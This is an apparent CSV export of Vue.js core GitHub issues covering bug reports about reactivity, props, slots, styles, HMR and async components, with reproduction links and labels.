In the template, iterate over the reference array using `v-for`, while attempting to modify the current element, for instance, inside a child component setup function or directly in the template as follows.

```
<div v-for=""m in copy"">{{ m.x = 0 }}</div>
```

### What is expected?

Modification should be disallowed as the reference is a readonly one.

### What is actually happening?

Modification is permitted. Data is mutated. No error or waring issued.

### System Info

```shell
System:
    OS: Linux 5.15 Ubuntu 24.04.1 LTS 24.04.1 LTS (Noble Numbat)
    CPU: (22) x64 Intel(R) Core(TM) Ultra 9 185H
    Memory: 10.22 GB / 15.43 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 23.10.0 - /usr/local/bin/node
    npm: 10.9.2 - /usr/local/bin/npm
```

### Any additional comments?

This observation only ... [TRUNCATED]",":hammer: p3-minor-bug,regression",2025-03-22T10:15:00Z,2025-05-02T09:55:25Z,1
vuejs/core,2938038247,Input checkbox value won't change when trigger is coming from click,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuELnGAwEaR7ZLa2UfXQ3fYim1HAYNi045bWRIk2ctg+L+Xkus0BYqeJD4+ko9PGtkXY9KhR7ZjuSttazw49L3Zc9V2RlsPI1isN1DqzvQeK5igtrqDFRWtuCq1ch4EFIGVcCY4W18vcN1a538a32pFhKVDkqyh2INIByF7hKIoYCVWL1XCe+xIRwEJRubIFQCmxuKAyn/DWvTSJ+trwpzX5t5qIxoRphAYuOfWr4ZEcfCJzgOduzkm/sRVns2709YUhPFSeKQIID9e7W+OWD4e9AldnlEYYVKzH0cxTXkWrhGT4oAyXiloFW0LuzLUYlVwduEGzf9cyrZ8JPh5XYL8f4MExAqaxtlzqztwR93LCg4I5VGohl6BHI0N4txsGZxnF9rZhnlHltZtkz44reiJo5M0gV6ilWhnMY6z3exxyAkp9b/vEfO2x82CR1Vv4A+OhAYz7y06tANyds55YRukzUL69vcPPNH9nOx01Utiv5P8hU7LfjYs0L72qiLZF7yo9i5+1FY1f9ztyaNyy1JBaGBOkc8Zfdmbd1Z/kbtNP8Q6+hzk4t8BbehJBm7Tj+nVlk1PF4wOOQ==

### Steps to reproduce

1. Create a Vue component with the following code:
```
<script setup>
import { ref, computed } from 'vue'
const a = ref(""a"");
const firstOption = computed(() => a.value === 'a');
const attempt = (e) => {
  e.preventDefault(); e.stopPropagation();
  a.value = a.value === ""a"" ? ""b"" : ""a"";
}
</script>

<template>
  <h1>Checkboxes</h1>
  <pre>{{a}}</pre>
  <label>
    <input :checked=""firstOption"" @click=""attempt"" type=""checkbox"">
    I should be changed on click
  </label>
</template>
```
2. Load the component in your application
3. Observe the initial state of the checkbox
4. Click the checkbox
5. Notice that while the value of a toggles between ""a"" and ""b"" (visible in the pre tag), the checkbox state does not change properly

### What is expected?

The checkbox should toggle be... [TRUNCATED]",,2025-03-21T11:01:15Z,2025-03-22T01:00:15Z,2
vuejs/core,2937166641,Optimize defineProps to Exclude Unpassed Props Instead of Assigning Default Values,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/BWCl6RATKEIelGVFGmRQ3pog7ZHAQUtrRU64gPkynFg6N+zJP1QnMQ37szsch+z4TfOidUAvORVaLxyyALg4K5ro7SzHtkPqx1beKvZmShiEOVntamKrCclBQja9RKBIsaqlGOkhquaS7TrmhdEVMVExS84hsaaherEMlhDDWxibs0bSlY9+N8OlTWh5iVLTORk39unnwlDP8DFDm8eoHl8B18G+rukx72HAH4FNd9zKH0HmOnbv79gTe89qW079KQ+Qf6BYPsh9phl3wfTUtsTXer2Lq1Rme5fuF0jmLAbKjYalWPS15zWGvf20eiHdi/Fl5RXm5G2uDvJ8QVZL01H+0cqc7jm5u7eWxfG/UXx2cVr0iUCMhc5dsVaWCgDSVnlhOvzT1lkexC97c6TlLBTNmjVKj1Y8gLNsklZIkYjtR8Z2U0ICna4Cje0ZDxwWyDzVZFrv7EUTSMw0C5gneZVBsEvZAMsz0H79LFAbOFbyQJ6uszXjNHvBJlBz8Fvoe2nBM8tTS5NwuPa8z5nWroj+2bi9e3oPNkjD4gulEVBLT/Hoy2DsL4r6CX8YFBpEBD0bO7tE9mVKk/cRKIiedjPPJgWfPTaiaJH2jeFJx76T8LoS5qCzCU+X/LxBWKeZfI=

### Steps to reproduce

1. Define a TypeScript type for props.
2. Use defineProps to define the props in a Vue component.
3. Observe that all properties from the type definition are assigned default values, even if they are not passed in.

```vue
<script setup>
import Comp from './Comp.vue'
</script>

<template>
  <Comp name=""atox""/>
</template>
```
![Image](https://github.com/user-attachments/assets/bb1bf24c-9ce4-478c-9fe3-975e682495d0)

### What is expected?

- Props that are not explicitly passed by the parent component should not exist in the component's props object.

- Default values should only be applied if explicitly set in props or withDefaults.

- Behavior should align with manually defined Vue props instead of implicitly assigning undefi... [TRUNCATED]",,2025-03-21T03:34:26Z,2025-03-21T05:45:23Z,1
vuejs/core,2936538458,Array model ignores assigned value,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUk1v1DAQ/SuDL92VSiK0cFnS8lH1UCQoAm4YoZBMsu46tuWPdKtV/jtje7MsEhRu9sybmTfz3p69MaYYA7I1q1xjhfHg0AcDslb9BWfecXbJFVdiMNp6uNoI2UJn9QBnRZl+sfzsZcT4B4Nwa3u4gD1XAFI3tRdauVdrcN4K1X/9xtUUoQ1FPWjbr+eCFK7KTCKNrDwORtYe6QdQtWJMD3pmFuPTQbcoiSX1KY7DOCtzQZkrqvKkDzunlWh4J/rizmlFeyeqnDV6MEKivTWHLuu8RMzVUur7dynmbcDzOd5ssNn+IX7ndjHG2UeLDu2InB1zvrY9+py+/vwBd/Q+JmmhIAn9SPITOi1D5Jhhb4NqifYJLrG9SXrRyb+4651H5ealItGInBKeM1Lv6pHVf9FdFc9THSlIVzxK/0/nZKmTVKRzi51Q+D7+qtkTl4tlBHZBNZEAaHWj6Gx+sUw0RAeLJ6m+GGsZcDmzO4lR5+itRO+3RGGC2yw4U3jPGY2h/H+a7Efwnsi8bqRottFkB1a0Vn4A9Tz4uiozeq6lNmTPTluqG0F3mRFnsN7iQ4xRk/1+nKbZpH+36/cRbRSP7rwqXhTPVmz6CZdyPx4=

### Steps to reproduce

1. Click ""Insert new string""
2. Console error showing `model.value` is `undefined`



### What is expected?

At line 9 in `Child.vue`, `model.value` should have a value.



### What is actually happening?

At line 9 in `Child.vue`, `model.value` is undefined.

### System Info

```shell

```

### Any additional comments?

How is it that `model.value` can still be undefined at the point when `push()` is called?
```
if (!model.value) {
    model.value = []
  }
  model.value.push(""new"")
```

Without the conditional the result is the same.",,2025-03-20T20:11:48Z,2025-03-21T01:11:57Z,5
vuejs/core,2935349918,"When calling a function in a template to create a VNode, an error occurs when updating the component: Cannot read properties of null (reading 'emitsOptions')","### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8tu2zAQ/JUFL3KQQCrQnlzZaBsEaHtIg7a3sgdHWtlMJJLgwzEg6N+zS9mKggQ+SBB3ZoezD/Xiq7X5PqJYitJXTtkAHkO0a6lVZ40L0MMOBmic6SAjYvZ5hjhsXmETdGtqPMbzgg98B8FSV0b7AJWJOqCDFUssPly8IN+xbQ3FFxewWkMvNRAlRKchSxCJDMxuoq6CMhoqh5uAfAelzPm7RUogbUooi7E6qosOATvbUhadAK5bVT1C2CFEW1MQ7mMIJBwM7BU+JYS9mRYBnTMOlG6M6zZ8fQ7lvSuSDj/lMfdLxaIrKY6FXl5KsR7ll9D3U/3DUBZjSjLGAg5YLn2nLi41vVlpVqcUiVQWs0LElQiefDZqmz94o2miqRvsobOqRffLsmMvBVlghLENdejpZ4oFF/HqFK92WD2+E3/wB45JcefQo9ujFBMWNm6LYYRv/tzigb4nsDN1bIl9BvyN1OPIHkfat6hrsj3jJbc/0oopvf3rbw4BtT8VxUaZOSS+FLRy12dKf7H7Mf+U8mhTqIundX3nl6ixURrvnLF+8S/jwWT/ab/OLFfJzTcadYCl8jRGTqJdKIsJeDPI4RnOHDfq

### Steps to reproduce

When you click the update button to update the component status, the console will report an error

### What is expected?

Should not report an error

### What is actually happening?

Error:
TypeError: Cannot read properties of null (reading 'emitsOptions')
    at shouldUpdateComponent (vue.runtime.esm-browser.js:8774:27)
    at updateComponent (vue.runtime.esm-browser.js:7336:9)
    at processComponent (vue.runtime.esm-browser.js:7283:7)
    at patch (vue.runtime.esm-browser.js:6801:11)
    at patchBlockChildren (vue.runtime.esm-browser.js:7155:7)
    at processFragment (vue.runtime.esm-browser.js:7233:9)
    at patch (vue.runtime.esm-browser.js:6775:9)
    at ReactiveEffect.componentUpdateFn [as fn] (vue.runtime.esm-browser.js:7496:9)
    at ReactiveEffect.run (vue.runti... [TRUNCATED]",,2025-03-20T12:39:18Z,2025-03-21T00:59:47Z,5
vuejs/core,2934673833,HMR fails when using keep-alive and Suspense.,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/minimal-reproduction/vue-keepalive-suspense

### Steps to reproduce

After the second modification of the `ref` value, the page will not update.

https://github.com/user-attachments/assets/1e199231-c122-4285-b2cc-ce9457daa90e

### What is expected?

HMR is working normally.

### What is actually happening?

HMR is broken.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: suspense,scope: hmr,:hammer: p3-minor-bug",2025-03-20T09:21:37Z,2025-09-02T09:44:14Z,0
vuejs/core,2931995963,"Vue Slot Component Causes ""Cannot Read Properties of Null (reading 'ce')"" Error When Rendering","### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/Kaifuny/test-vue-slot-component-package

### Steps to reproduce

GitHub Repo: https://github.com/Kaifuny/test-vue-slot-component-package

```
yarn install

yarn build:ui

yarn dev
```

when you at the root of the app project

apps/desktop/src/App.vue

```
<script setup lang=""ts"">
import { Button1, Button2 } from '@test/ui';
</script>

<template>
  <div>
    <!-- <Button1></Button1> -->
    <Button2>bbb</Button2>
  </div>
</template>
```

Button2 is not working, but Button1 is working.

the error message is

```
index.mjs:618 Uncaught TypeError: Cannot read properties of null (reading 'ce')
    at renderSlot (index.mjs:618:32)
    at Proxy._sfc_render (index.mjs:1262:5)
    at renderComponentRoot (chunk-3SZSTCRY.js?v=05012731:8581:17)
    at ReactiveEffect.componentUpdateFn [as fn] (chunk-3SZSTCRY.js?v=05012731:7403:46)
    at ReactiveEffect.run (chunk-3SZSTCRY.js?v=05012731:481:19)
    at setupRenderEffect (chunk-3SZSTCRY.js?v=05012731:7538:5)
    at mountComponent (chunk-3SZSTCRY.js?v=05012731:7313:7)
    at processComponent (chunk-3SZSTCRY.js?v=05012731:7266:9)
    at patch (chunk-3SZSTCRY.js?v=05012731:6782:11)
    at mountChildren (chunk-3SZSTCRY.js?v=05012731:7014:7)
```

### What is expected?

<Button2> should render correctly without throwing an error, just like <Button1>. Both components should be usable when imported from @test/ui in App.vue.

### What is actually happening?

```
index.mjs:... [TRUNCATED]",,2025-03-19T14:24:25Z,2025-03-19T14:57:32Z,2
vuejs/core,2930388263,Vue Component Style Conflict Issue,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqlVNuK2zAQ/RVVL2lh12Zx24DrDbTLQlvohW6hL4Li2hPHG1kSkpwmBP97RxNfkrDdLdR5kWZGozPnnGjP3xoTbVrgKc9cYWvjmQPfmoVQQtWN0dazPbOwZB1bWt2wGRbPxlSzu9G4UqA86/NRfBQMrWdvQq9CK4f1rmLXod3z2XuQUrMf2sry2exFKMniAwK6O/PQGJl7wB1j2epqsd/T8a7LYtxRtFam9Wxz2egS5LXgmBecxdQA083ushiQhGAWHzXlF9w7RLWsq+jeaYUM7MMpwcOZWoL9YnyNqAVPGWVCLkfQvz9SzNsWLoZ4sYJi/UD83m1DTPCvFhzYDQg+5nxuK/CH9O3dZ9jiekziSK3E6keS38Bp2QaMh7J3rSoR9lEdof1AUtWq+u5utx6UG4YKQENlR/WCo1ZBuL+NPsFNopd0TqgOWTyTe3ISktzbRNZLuNkVEkaPjJHJIbCl2hKWeSvRdeEKlTeQCv5puqKfzlhtXNpj87WXMGwosDOQ3nmLQ/dchK/vjP3wR1GcYBh/NMrYdYQ4zPq4Q8t6Q4tg1mTxmj50ajIEJw5Swot2nc/nggdjUoGT2pN3cR0fup0YFrfO7/A8utZASYWrZNDnV16sK6vRAuh5qW3KTK3WSCxhR+Dh6ALlOmH+RCzGHpJgFGHiYzDYiQj/LQMxjEZ74iU45RkfBbr28CyMZOMKyZ2fhc4U+VfCn2S6sgDqnGp6YX5uwIb/G/KcRK+iq4R3fwCj2MeS

### Steps to reproduce

You need to start the service and preview it in the browser. Comment out the h3 tags in lifeCycle.vue one by one and observe the results.

### What is expected?

When only one h3 tag is left in lifeCycle.vue, its background color will turn pink ( using the style from MyComponent.vue )

### What is actually happening?

When the h3 tags in lifeCycle.vue are commented out, leaving only one, the corresponding h3 style will adopt the style declared in MyComponent.vue, rather than the style declared in lifeCycle.vue

### System Info

```shell
Invalid prop: type check failed for prop ""title"". Expected String with value ""666"", got ... [TRUNCATED]",can't reproduce,2025-03-19T04:05:43Z,2025-03-23T00:10:57Z,1
vuejs/core,2928653849,包含依赖关系的多个 Vue 文件之间的 样式覆盖问题,"### Vue version

3.2.13

### Link to minimal reproduction

I don't know what this should input

### Steps to reproduce

A.vue 部分代码：
{
```
<h3>单文件组件</h3>
<!-- 引入 LifeCycle  -->
<life-cycle :title=""666""/>

     import LifeCycle from './lifeCycle.vue';
    components:{
        LifeCycle,
   }

<style scoped>
    h3 {
       background-color: pink;
    }
</style>
```

}

LifeCycle.vue 代码:
```
    <h3>6666</h3>
    <h3>{{ title }}</h3>

    name:""LifeCycle"",
     props:{
        title:{
            type:String,
            default:""""
        }

<style >
    h3{
        background-color: green;
    }
</style>
```

### What is expected?

标签的样式 会被覆盖 或者 非常规形式呈现

### What is actually happening?

在项目运行后，对 lifeCycle.vue 中的 两个 H3 分别进行注释，剩余的那一个采用的样式 会很奇怪

具体如下：

- 如果 两个都 不注释 ==> 两个 H3 背景均为 绿色
- 如果先注释 6666  ，title 对应的 H3 背景为 粉色 ，此时放开 注释，两个都变为绿色
- 如果 注释 title , 6666 对应的 H3 背景为 粉色，此时放开注释，两个都变为绿色

### System Info

```shell

```

### Any additional comments?

使用 props 接收数据 进行相关测试 的时候发现的

貌似是，如果是 只有 一个 H3 ，就会出现 上面的变成粉色的情况，两个 H3 或者 3个以上 就不会。",,2025-03-18T14:06:49Z,2025-03-18T14:11:47Z,1
vuejs/core,2919801360,"<input v-model=""modelValue"" /> 输入后通过js控制modelValue的值为输入前的值，渲染与值不符","### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUstu2zAQ/JUFL3YAWTq0J9cO+kAOKdAH2rSXsgdBWitMKJLgQ3Fi6N+zJO1YCYwgN3F2NJxZzo59MqYcArIlW7nGCuPBoQ/mnCvRG2097MDiBkbYWN0DZ8Tl7MPT9Aq3/lKZ4A/zsvIELUTEonAic9Vo5TwMsI5q89nsjNCMXdeqlfjHtLVHGg+1hPU57LgCGEo6hT1aWjSybnBe/asXD/+rThSQdQCikpZYSt3NZ1PBWXEQOeNqJO6qyikpHx089qTpkU4Aq1YM6YM+jxlgWPS6Rbmm6JzBx5B0lwlbJGWaTK8kUpX1qiy4oo3sr2EF847MbkRX3jitaOspKGeN7o2QaH8YLygMZ8u8gjirpdR3XxPmbcDigDfX2NyewG/cNmKc/bTo0A5k6Wnma9uhz+OL398p5mRIoYIk9ivDX0iLDtFjpn0OMbmd8JLby9QOobord7H1qNwhVDQamWPipzp9eSX60e678n36j54xbvFZx06UN3crvdLffYda3AiF3yI0pza8uQsva3AUpaf29yYWIPpJD19M7qQcu6mFkcyfrsX4CCcDMNI=

### Steps to reproduce

demo中对modelValue作了处理，过滤了英文字母
多次连续输入数字和字母，input框中保留了字母，与实际值不同

### What is expected?

input输入时自动过滤掉字母

### What is actually happening?

input框中保留了字母，与实际值不同

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-14T10:14:18Z,2025-03-14T10:36:44Z,1
vuejs/core,2919101557,Vue Component Type Build Error with __VUE_PROD_DEVTOOLS__ in Vite,"### Vue version

3.4.3

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-guabna1b?file=vite.config.ts&file=src%2Fcomponents%2FDynamicComponent.vue&terminal=dev

### Steps to reproduce

- In `tsconfig.json`, set the `verbatimModuleSyntax` option to `false`, and use the `Component` type without explicitly specifying type in the import statement.
- In `vite.config.ts`, declare the `__VUE_PROD_DEVTOOLS__` flag as `'false'`.

### What is expected?

The build should work correctly regardless of whether the import type statement is used.

### What is actually happening?

<img width=""695"" alt=""Image"" src=""https://github.com/user-attachments/assets/1d1e70ea-495a-427a-ab1a-f67d410c371c"" />

In the `vite.config.ts` file, when the `__VUE_PROD_DEVTOOLS__` flag is declared, a build error occurs if you use Vue's `Component` type without explicitly specifying the type in the import statement.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: sfc,🔩 p2-edge-case",2025-03-14T04:50:04Z,2025-03-17T01:06:44Z,3
vuejs/core,2916446415,`defineModel` nested value changes not triggering re-render,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1v2zAM/SuELnGAzMGQ7ZLZAdYhhw7YB7bdqmLwEjlRa0uGJLsZAv/3kbJle01b9JLIfCQfRT7qzD5WVdzUgq1Z4kRZFZkTG64Akk+6rKB5U+q9KNa6clIrm3LWnzjbJEtyQedkOYnET7szsnJghasJlmWljQOfLze6hFnsI4l29mHAz2BEDm3vQhgl2yGXg54UUvKJzlRfrk15jbx2DTf07Y0ARfYHywXOcmmsU1kpOFt0UGV09TTSZEUtCBos9qgfIqKYh8SA1K42CpypRWdq6a/1EY/Zi+wZ8gvgddzUBl2IuNCHDnpUFNni4WKQpinMsH9jlfRzy1WLgcmyG5AfFldswZzF/Lk8xHdWK1SCp+Vsh0OShTDfwsjXoSDOsqLQD5+9jRrSl44xR7G7f8J+Z09k4+y7EVaYZmwAZy4zB+E6ePvzqzjheQBRf3WB3i+APwT2pqYaO7erWu2x7Imfr/ba60yqwy+7PTmhbLhUmGg3Ss5Qe6TP564+lruK3/XNbbGLQdOXq7SXjT/gMQC4WTgz3KdIomkOOg8ijwdlcwbre/EXncgnJgnh2oXJU1bMIvOAe934dZ1P3FCbZw97bbbtGhKpqtqF1Q7RXofIuBwJlpO6pys+Qq/b/DNodSXwWuKLrpVbXCw6PgKXm74XuVQYgTVGk2dnPnH2FwiPAkmbq/+YomgO6aabXOiuv+fYYzpts90x6ucQ3KFL3rnfDP2/RbaxXVgKTh95O+5hsVAMvxthSGAohlX8Pn67Yu0/BxnKBA==

### Steps to reproduce

1. Change the firstname form item value to any value.

### What is expected?

The defineModel nested value being changed should trigger a re-rendering of the component, and the show method of the formItems object element will be executed, causing the lastname form item to disappear.

### What is actually happening?

The show method of the formItems object element is not executed, and the lastname form item still exists.

### System Info

```shell
System:
    OS: macOS 15.3.2
    CPU: (8) arm64 Apple M1
    Memory: 97.75 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 23.7.0 - ~/.nvm/ver... [TRUNCATED]",,2025-03-13T09:24:41Z,2025-03-13T09:39:16Z,2
vuejs/core,2916280460,Typed defineSlots with mapped types сauses ts error,"### Vue version

^3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-cwo16alf?file=src%2Fcomponents%2FMyList.vue

### Steps to reproduce

Create and use component MyList

```vue
<script
  lang=""ts""
  setup
  generic=""T extends Record<string, unknown>, K extends keyof T""
>
  import { VNode } from 'vue'

  defineProps<{
    list: T[]
  }>()

  defineSlots<
    {
      [PropName in K]: (props: { rowData: T }) => VNode[]
    } & {
      footer: () => VNode[]
    }
  >()

  const getKeys = (data: T):K[] =>{
   return Object.keys(data) as K[]
  }
</script>

<template>
  
  <ol v-for=""(item, index) in list"" :key=""index"">
    <li v-for=""key in getKeys(item)"" :key=""key"">
      <slot :name=""key"" :rowData=""item"" />
    </li>
  </ol>

  <slot name=""footer"" />
</template>

```

Run `vue-tsc` for type-checking

### What is expected?

Component slots become type-safe, no error occured

### What is actually happening?

```log
`> vue-tsc --noEmit

src/components/MyList.vue:28:8 - error TS2345: Argument of type '{ rowData: T; }' is not assignable to parameter of type 'NonNullable<(Readonly<{ [PropName in K]: (props: { rowData: T; }) => VNode<RendererNode, RendererElement, { [key: string]: any; }>[]; } & { footer: () => VNode<RendererNode, RendererElement, { ...; }>[]; }> & { [PropName in K]: (props: { ...; }) => VNode<...>[]; } & { ...; })[K]> extends (props: infer P) => any ? P ...'.

28       <slot :name=""key"" :rowData=""item"" />
          ~~~~

src/components/M... [TRUNCATED]",scope: types,2025-03-13T08:32:45Z,2025-03-13T10:41:41Z,2
vuejs/core,2914648280,Custom Element Mode - Styles applied in wrong order,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-pn21u36z?file=src%2Fcomponents%2FHelloWorld.vue,src%2Fcomponents%2FBox.vue,src%2FApp.vue,src%2Fmain-ce.js,index.html,vite.config.js,src%2FApp.ce.vue&terminal=dev

### Steps to reproduce

Open the page and wait until load.

### What is expected?

I would expect the first box to be red and the second box to be green.

### What is actually happening?

The first box is red, also second is red.

Generally speaking this is something that can potentially be avoided by using CSS selector specifity. But the issue here is that the behavior is inconsistent between standard Vue app and the app bundled as web component. 

Basically the issue here is that there is some ""box"" component which has its `class=""box""` and some ""nested"" component which uses ""box"", but applies additional class and style. Like

```
Box.vue
<style scoped>
.box { background-color: red }
</style>

...
HelloWorld.vue
<style scoped>
.my-box{ background-color: green}
</style>

<template>
<Box class=""my-box""></Box>
</template>
```

So, in normal Vue app (if you switch the mode in Vite config in example) the styles will get applied from deepest to most shallow, like `Box` styles will be injected into DOM and then `HelloWorld` styles. For CE that's not (always?) the case and styles get applied ""in order"", so `HelloWorld` gets injected before `Box`. 

I've been trying to find some info regarding this behavior, but I only found ... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-03-12T17:16:36Z,2026-03-09T08:12:14Z,4
vuejs/core,2912708203,"When using the `defineAsyncComponent` function and adding both `errorComponent` and `onError`, the `errorComponent` is not rendered when an error occurs. The expectation is that when `onError` is triggered, the `errorComponent` should be rendered.","### Vue version

vue v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8GO0zAQ/ZWRL0mlKq3YW+lWWlAPcIAV7A1ziJJpcUnGke20RVH+nRl7my6osIpk2fOeZ974TQb10HXFsUe1UmtfOdMF8Bj6bqPJtJ11AQaocWcIH/wvqt5bDhJSgBF2zraQ8d1s4gr8HC8WcpDU2VtN6dv1VAVjCRpb1lOqfAaDJgDHdR0B4QkeOYXxmOcOvW2OOGfwgFWYwf0mkUFkPpkWbR9yznCNSyLh5plUAXTOumyWsHEOb5bLZTyNvI6iqrLkA0ztwf3NhvOYXlKiW0EpGPxR91l+eSpN+LvBWG8ua5QzIav4YhGwtBUonw0sSrStF8kPdoIPAduuKQPyCWA9SdusF9e93Jl4aq6C59Z2Zl8cvCU2OArVqmKuadB97sQLr9Xq0oJWZdPY08cYC67HqCze+YHVzxvxgz9LTKtHdgrdEbWasFC6PYYEb79+wjPvJ7C1dd8w+z/gF/G+F42J9q6nmmW/4EW1H+LoGdo/+e05IPlLUyL0+vBa8SjKM/2r9avcu+Iu3mMf+BUvY3zjD9GUJoXHtfP5tyzN2vdXzKvNMW4AhiHNQ9Gi9+UeYeSazFgkyks3x99Fuz0D

### Steps to reproduce


When using the `defineAsyncComponent` function and adding both `errorComponent` and `onError`, the `errorComponent` is not rendered when an error occurs. The expectation is that when `onError` is triggered, the `errorComponent` should be rendered.

defineAsyncComponent函数添加errorComponent 和 onError 出现错误时没有渲染errorComponent ，期望有onError时候，能渲染errorComponent 

### What is expected?

defineAsyncComponent函数添加errorComponent 和 onError 出现错误时没有渲染errorComponent ，期望有onError时候，能渲染errorComponent 

### What is actually happening?

defineAsyncComponent函数添加errorComponent 和 onError 出现错误时没有渲染errorComponent ，期望有onError时候，能渲染errorComponent 

### System Info

```shell

```

### Any additional comments?

related https://github.com/vuejs/core/issues/9714",,2025-03-12T05:24:15Z,2025-03-12T05:50:06Z,1
vuejs/core,2909776241,没有启用SSR，esm-browser 为何会有__VUE_SSR_SETTERS__ 相关逻辑,"### Vue version

3.1.15

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9U8Fu1DAQ/ZUhl2TFklDBaUlXBNQDIAGCcsIcQnaSuPXakeNsF61ygwMHvoI7R4RU9W9A9DMY20m2VJQcInvevJl545ldkDVNvOkwWARpW2jeGBC5rA5ZYFoWQIuma5ZM8nWjtIEdaCznsMKSS3ysyChRmjnUc1DyjVyrThpcQQ+lVmsIKW74gMkkgYGfeYAFcZLZrCwgmMlCydZAW6szOLQZIqM7nBHkAS4L0a1wwN6GWfjOgiOcEXCtomjHJIDM17gAcp/bm5MSzcBBAJ4rOP18XIlnkGmdf4gO7rpvFpdciGg3xqlRCBVCP7PJxxBKYCxUFYW/vn2+/PopHLEr7Ygo6eFyzHud9uXH5cXFROvHg6ZqtQRPraOwPgjnJOX3+cef599DuO0qjze56CgQysrUntmTVheEybKTheFKglFVJXCUbtvsiST81v7m6LyEaG+amjW8wERzb+DzAYoWb/QbnKgmJtPEDxiNU2pw3YjcIJ0B0hXfLAfqYreb3rvv08RCzud9ZwxpeVgIXpza8XSiWLD0hzTxDt75WOey5Va8u5PlGWKTCb5BWAzhKcZwoiDj26QZbO7wkjDbBVqAZAyQTBF8iuSvHGkyKQrmtDr0xiWv4pNWSdos1x0WFDSeXKB+0VgWrddi7BsLcpqts6fOZoffTazj1Fic/sN+0m6tjQUvNbaoNyRiwkyuKzQePnr9HLd0nsC1WnW2b/8BXyHNZ2dr9G6POrmisq/4uWqfuJ3msjpuj7YGqRmDKFvoOIvWmxbdbuZN0vfl3ovvj+MS9H8AuiuG6g==

### Steps to reproduce

1、开启pro模式、关闭srr，如下图

<img width=""726"" alt=""Image"" src=""https://github.com/user-attachments/assets/955fc45c-a35c-4018-bb9e-1feda7671c24"" />
2、反复点击toggle，生产template游离节点

![Image](https://github.com/user-attachments/assets/53d25d5e-e031-4c0a-a3d4-f52de3856f51)

3、查找template游离节点的引用路径，发现有__VUE_SSR_SETTERS__

![Image](https://github.com/user-attachments/assets/ebd75403-7d92-4cc2-af5b-a470005e6c2a)



### What is expected?

对于esm-browser（直接给浏览器用的ESM）建议禁用SSR：浏览器环境不需要服务端渲染能力，减少不必要的代码体积

### What is actually happening?

未启用SSR时，vue源码esm-browser走__VUE_SSR_SETTERS__相关逻辑

### Syste... [TRUNCATED]",,2025-03-11T09:24:11Z,2025-03-11T09:47:26Z,0
vuejs/core,2909157696,`withDefaults` return inconsistent result,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8lu2zAQ/ZUBL0kAQ0Ks9iKoLrrk0B7aoO2RQE1LI4spRRJcHAeu/j0jylaMIMlFHM0bvnmz8MA+WZvtIrKSVb520gZQQm8/cBY8Z+AxRLviWuqArhU1wq0z1sOBawBL5vXHEjbGKBQa/oMPTurtCVsSNnkIOgZxPXB9L0P3FVsRVfCXDbZSY6Kt0nd1ebU4S1DCxcVipjz+DVdcV/kkmORVAXurRECyAaquoLwPCqmK2ijjSnDYcLbaCRURhG4gPFgE08I6pVgnX7KXa/CdiaqBDULoELzoscq7YmKOKp1kKXm0ZpnVxkG+mqgPh3RShgTCMJzgSQPhJ+DIl8+Ez6mp5tepl69Rj8Az6ipP8qv8rFtsQYOujW7lNrvzRtMepNaPneutVOh+2iCNpmUop6GMmFDK3H9PvuAipvGkOx3W/17w3/n96OPs1qFHt0POZiwIt8UwwTe/f+Ce7BnsTRMVRb8B/kJvVBw1TmGfo25I9llcUvutt8YF2sU//mYfUPtTUaPQMXJI8ZzRY/jyRulPcovsXbpH20hd/LtDN3JSA4vsfXZdsOERy2oZEw==

### Steps to reproduce

Just access the link🚀

### What is expected?

value and type of `prop1` should be same as `prop2`

### What is actually happening?
`prop1` has default value set to `true`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-11T05:17:14Z,2025-03-11T05:45:29Z,1
vuejs/core,2907489663,Potentially Confusing Double Template Refs,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kj1PwzAQhv/KyUtbqTQDTCVFAtQBBkClo5cqvRQXx7b8ESpF+e+cnbaEqsp2vvc557nIDXs0ZlYHZHOWu8IK48GhD+aBK1EZbT00EByusTJy43GF5RQsltBCaXUFIxod3XPFVaGV8yCUCZ4gWFxMjTlLGWcTwnswkXTfeMJVnnUC9Gk6+OMsnQDyrahT8a8EaJp0R9ses2yYI4+raCdCGouzJdQ3ld6i7HWyTuU4mGc9QzZl3tFSpdjN9k4r+ptNhDkrdGWERPtuvKClOZtDSmK2kVL/vKaetwGnp37xhcX3lf7eHWKPsw+LDm2NnJ0zv7E7JMsYLz/f8ED1OaRNgiR6IFyh0zJExw57CmpL2j0u2b6kNyHUbu2WB4/KnZaKopFsE88ZvYvngdX/dG9nd2mOq5a1v7t717o=

### Steps to reproduce

There are two template refs available to the input.

### What is expected?

While technically being correct, the code example from the playground is probably not what the (new) user intended.

New users will probably start using `useTemplateRef` and may fall into the trap of defining another ref with a name which is equal to the ref on the HTML Input element. This is confusing, and I think this usage was removed from the docs as well (not sure).

It would be better if the compiler would catch this case and issue a warning for last template ref, suggesting to rename/remove it.

",,2025-03-10T14:34:45Z,2025-03-11T00:14:34Z,0
vuejs/core,2906344350,@vue/compiler-sfc compile error,"### Vue version

3.5.13

### Link to minimal reproduction

